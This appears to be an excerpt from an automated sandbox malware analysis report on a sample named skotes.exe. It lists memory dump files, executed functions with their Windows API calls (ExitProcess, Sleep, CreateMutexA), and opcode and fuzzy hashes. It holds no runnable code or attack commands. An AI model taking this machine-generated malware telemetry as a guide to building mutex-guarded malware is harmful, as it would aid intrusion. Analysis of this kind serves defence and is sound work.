Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a23d4a75b338d2dc394d07b8820959e319edbd0ea72b0c7c3ee2b6be36325cd9
Instruction ID: b3ba5bbf1bbc20979f1f29c961300d29b36982a226c578bfe629a851ccf3effd
Opcode Fuzzy Hash: a23d4a75b338d2dc394d07b8820959e319edbd0ea72b0c7c3ee2b6be36325cd9
Instruction Fuzzy Hash: F62151B5A0011AAFDF00EFA4CC95ABEB7B9EF49710F100115FA01B7291DB31AD019BA1

Analysis Process: skotes.exePID: 7524, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1963
Total number of Limit Nodes:	9

Executed Functions

Function 001C652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001C652A,?,?,?,?,?,001C7661), ref: 001C6566

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4950f770e551f674a8ba4e3177919273613831755fbe7eb62335377f16669768
Instruction ID: edfd3388eccd6d557e45a7298f866a822d1f64e5c774712cfff0572219d550c3
Opcode Fuzzy Hash: 4950f770e551f674a8ba4e3177919273613831755fbe7eb62335377f16669768
Instruction Fuzzy Hash: 01E08C3054214CAACE267B18D81DF497B69EF317C5F201828F9098A226CB25ED82CB80

Function 00199BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 55e027740630a75afcf2987c4bc80aea76face3beb6aea887a08e449d16465e4
Instruction ID: ea08a9c640cf3c6b9b68b993866dc4352138baaf86e414b315eecc405992af9c
Opcode Fuzzy Hash: 55e027740630a75afcf2987c4bc80aea76face3beb6aea887a08e449d16465e4
Instruction Fuzzy Hash: 99312471B142009BEF08AB6CDD99B6DBB62EF82314F20831CE0159B3D6C7759A848792

Function 00199F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f3c2e0aad583a379bc70b302902ed46f8e0874d8c42b979b40abab2750fb0942
Instruction ID: 347ddb97fb217a5b20c5c0f85acff112c68eeb43117a28e6b908c241ceb6a432
Opcode Fuzzy Hash: f3c2e0aad583a379bc70b302902ed46f8e0874d8c42b979b40abab2750fb0942
Instruction Fuzzy Hash: 4A3123317102049BEF089B6CD89C7ADBB62EF86314F64821CE419EB2D2C73699848792

Function 0019A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
